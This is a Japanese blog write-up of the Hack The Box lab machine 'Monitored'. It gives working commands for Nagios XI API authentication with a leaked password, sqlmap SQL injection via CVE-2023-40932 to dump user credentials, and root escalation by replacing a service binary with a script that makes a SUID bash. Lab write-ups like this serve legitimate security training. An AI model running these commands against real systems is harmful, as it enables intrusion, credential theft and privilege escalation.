家studyをつづって

IT技術やセキュリティで勉強したことをつづっています。

https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js">>

【Hack The Box】monitored

目次

 

 

 

偵察/スキャン

nmapでスキャンします。

-p-でスキャンし、確認できたポートに詳細なスキャンを行います。

┌──(kali㉿kali)-[~/htb/monitored]
└─$ sudo nmap -sC -sV -A -O -p22,80,389,443,5667  10.10.11.248
Nmap scan report for 10.10.11.248
Host is up (0.17s latency).

PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey: 
|   3072 61:e2:e7:b4:1b:5d:46:dc:3b:2f:91:38:e6:6d:c5:ff (RSA)
|   256 29:73:c5:a5:8d:aa:3f:60:a9:4a:a3:e5:9f:67:5c:93 (ECDSA)
|_  256 6d:7a:f9:eb:8e:45:c2:02:6a:d5:8d:4d:b3:a3:37:6f (ED25519)
80/tcp   open  http       Apache httpd 2.4.56
|_http-title: Did not follow redirect to https://nagios.monitored.htb/
|_http-server-header: Apache/2.4.56 (Debian)
389/tcp  open  ldap       OpenLDAP 2.2.X - 2.3.X
443/tcp  open  ssl/https  Apache/2.4.56 (Debian)
|_http-server-header: Apache/2.4.56 (Debian)
| tls-alpn: 
|_  http/1.1
|_ssl-date: TLS randomness does not represent time
|_http-title: Nagios XI
| ssl-cert: Subject: commonName=nagios.monitored.htb/organizationName=Monitored/stateOrProvinceName=Dorset/countryName=UK
| Not valid before: 2023-11-11T21:46:55
|_Not valid after:  2297-08-25T21:46:55
5667/tcp open  tcpwrapped
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 5.0 (97%), Linux 4.15 - 5.8 (96%), Linux 5.3 - 5.4 (95%), Linux 2.6.32 (95%), Linux 5.0 - 5.5 (95%), Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (95%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Host: nagios.monitored.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 80/tcp)
HOP RTT       ADDRESS
1   186.48 ms 10.10.14.1
2   186.83 ms 10.10.11.248

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 31.62 seconds

TCP/443の調査

/etc/hostsにnagios.monitored.htbを追加しブラウザでアクセスすると以下のようなページが表示されます。

ブラウザでアクセスした様子

NagiosXIのデフォルトアカウントを試しに入力してみましたが、アクセスはできませんでした。

support.nagios.com

 

その他、ldap等からは有力な情報を取得できませんでした。

つづけてUDPのスキャンを行います。SNMPが開いていることがわかります。

┌──(kali㉿kali)-[~/htb/monitored]
└─$ sudo nmap -sU -p- 10.10.11.248 --open -T4 -Pn --min-rate=1000
Nmap scan report for nagios.monitored.htb (10.10.11.248)
Host is up (0.21s latency).
Not shown: 65078 open|filtered udp ports (no-response), 455 closed udp ports (port-unreach)
PORT    STATE SERVICE
123/udp open  ntp
161/udp open  snmp

Nmap done: 1 IP address (1 host up) scanned in 458.98 seconds

 

SNMPに対して列挙を行います。

snmpbulkwalk -v 2c -c public 10.10.11.248

実行結果

「svc」アカウントでシェルを実行している情報が確認できます。

上記のアカウントではNagiosXIにログインできませんでした。

ログイン時のエラーメッセージ

Google検索で「"nagios xi" "api" "curl" "authenticate"」と検索すると以下の記事が見つかります。

support.nagios.com

 

上記で/nagiosxi/api/v1/authenticate?pretty=1にリクエストする例があります。
実際に実行するとtokenが取得できます。

curl -XPOST -k -L 'https://nagios.monitored.htb/nagiosxi/api/v1/authenticate?pretty=1' -d 'username=svc&password=XjH7VCehowpR1xZB&valid_min=5' 

token取得

 

ログイン画面で上記で取得したtokenを利用するとsvcでログインができました。

tokenを指定してログイン

ログイン後の画面

 

アクセス取得(ユーザフラグ)

ログイン後の画面ではバージョン情報が確認できます。
バージョン情報で検索すると「CVE-2023-40932」の脆弱性情報が確認できます。
「/nagiosxi/admin/banner_message-ajaxhelper.php」へリクエストを送信する際のidパラメータがサニタイズされない脆弱性とのことです。

outpost24.com

現在のセッションのCookie情報を確認し以下のコマンドを実行します。

Cookieの確認

sqlmap -u "https://nagios.monitored.htb/nagiosxi/admin/banner_message-ajaxhelper.php" --data="id=*&action=acknowledge_banner_message?id=3" --cookie "nagiosxi=ここは自身のCookie" --batch --dbs

 

データベースの列挙

sqlmap -u "https://nagios.monitored.htb/nagiosxi/admin/banner_message-ajaxhelper.php" --data="id=*&action=acknowledge_banner_message" --cookie "nagiosxi=ここは自身のCookie" --batch -D nagiosxi --tables

 

sqlmap -u "https://nagios.monitored.htb/nagiosxi/admin/banner_message-ajaxhelper.php" --data="id=*&action=acknowledge_banner_message" --cookie "nagiosxi=ここは自身のCookie" --batch -D nagiosxi -T xi_users --dump

 

svcに加えて、Nagios AdministratorのパスワードとAPIキーが取得できました。

上記のキーを使用してユーザを作成します。

ユーザ作成

作成したユーザでNagiosXIにログインができます。

Adminとしてログイン

 

「Configure」ー「Core Config Manager」より、新規のコマンドを作成します。

新規コマンド作成

作成する内容は以下のサイトを参考

github.com

 

「Service Management」より既存のServiceを変更して上記で作成したコマンドを指定して実行します。

コマンドの実行

nagiosのシェルが取得できます。

nagiosシェル取得

 

権限昇格

「sudo -l」を確認するといくつかのコマンドが実行できることが確認できます。

そのうち「manage_services.sh」では「systemctl」の実行が確認できます。

shの中身抜粋

 

上記にある「nagios」をみるとバイナリのパスが確認できます。

また現在のユーザ「nagios」の所有であることも確認できます。

systemctlの確認

nagiosの確認

nagiosが所有しているバイナリを変更して任意のコマンドを実行させように変更します。

nagiosのバックアップ

echo -e '#!/bin/bash\n\ncp /bin/bash /tmp/iestudy\nchown root:root /tmp/iestudy\nchmod 6777 /tmp/iestudy' > nagios

nagiosの作成

実行

ここまででrootが取得できました。

root取得

 

その他

zenn.dev

 

 

 

 

 

https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js">>